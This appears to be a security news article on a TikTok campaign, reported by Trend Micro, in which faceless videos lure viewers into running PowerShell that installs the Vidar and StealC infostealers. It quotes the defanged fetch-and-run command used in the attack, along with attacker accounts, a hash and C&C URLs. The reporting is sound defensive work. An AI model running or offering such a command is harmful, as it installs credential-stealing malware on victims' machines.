Hackers Leveraging Trending TikTok Videos to Deliver Vidar & StealC Malware

In a concerning development that highlights the evolving tactics of threat actors, cybercriminals have begun exploiting the popularity of TikTok to distribute sophisticated information-stealing malware.

This new campaign specifically delivers Vidar and StealC infostealers by tricking users into executing malicious PowerShell commands under the guise of activating legitimate software or unlocking premium features for applications like Windows OS, Microsoft Office, CapCut, and Spotify.

Unlike traditional malware distribution methods that rely on compromised websites or phishing emails, this attack vector leverages social engineering entirely through video content.

The threat actors create faceless videos—potentially generated using AI tools—that provide step-by-step instructions for users to unwittingly install malware on their own systems.

This approach is particularly insidious as it leaves no malicious code on the platform itself for security solutions to detect, with all actionable content delivered visually and aurally.

Trend Micro researchers identified multiple TikTok accounts involved in this campaign, including @gitallowed, @zane.houghton, @allaivo2, @sysglow.wow, @alexfixpc, and @digitaldreams771.

Their investigation revealed that some videos have gained significant traction, with one particular video attracting over 20,000 likes, 100 comments, and reaching approximately 500,000 views.

This widespread exposure demonstrates the campaign’s potential impact and highlights how TikTok’s algorithmic reach can amplify malicious content.

The consequences for victims are severe, as these information stealers can exfiltrate sensitive data, steal credentials, and potentially compromise business systems.

Once installed, the malware establishes communication with command-and-control servers, enabling attackers to harvest valuable information from compromised devices.

This represents a significant threat to both individual users and organizations, as stolen credentials can lead to account takeovers, financial fraud, and further network penetration.

Infection Mechanism and Technical Analysis

The infection chain begins when users follow the video instructions to open PowerShell (by pressing Windows+R and typing “powershell”) and then execute a command similar to:-

iex (irm https://allaivo[.]me/spotify)

This innocuous-looking command downloads and executes a remote script (SHA256: b8d9821a478f1a377095867aeb2038c464cc59ed31a4c7413ff768f2e14d3886) that initiates the infection process.

Upon execution, the script creates hidden directories within the user’s APPDATA and LOCALAPPDATA folders, then adds these locations to the Windows Defender exclusion list—a sophisticated evasion technique that helps the malware avoid detection.

The malware then proceeds to download additional payloads, including the Vidar and StealC information stealers.

These malware variants are particularly dangerous as they target sensitive information including saved passwords, cryptocurrency wallets, and authentication cookies.

After installation, the malware connects to various command-and-control servers, including abused legitimate services.

Vidar, for instance, uses Steam profiles (hxxps://steamcommunity[.]com/profiles/76561199846773220) and Telegram channels (hxxps://t[.]me/v00rd) as “Dead Drop Resolvers” to hided its actual C&C infrastructure—a technique that makes tracking and disruption more challenging.

What makes this campaign particularly effective is how it blends social engineering with technical exploitation.

By appearing as helpful tutorials for accessing premium features of popular software, the videos build trust with viewers who then willingly execute the commands that compromise their systems.

This represents a significant evolution in social media-based attacks, demonstrating how threat actors continue to adapt their tactics to exploit user behavior and evade traditional security controls.

This campaign demonstrates the evolving nature of social engineering attacks and the need for enhanced security awareness around social media content.

Users should maintain healthy skepticism toward unsolicited technical instructions, especially those involving PowerShell commands, regardless of how legitimate or helpful the source may appear.

Equip your SOC team with deep threat analysis for faster response -> Get Extra 𝗦𝗮𝗻𝗱𝗯𝗼𝘅 𝗹𝗶𝗰𝗲𝗻𝘀𝗲𝘀 for Free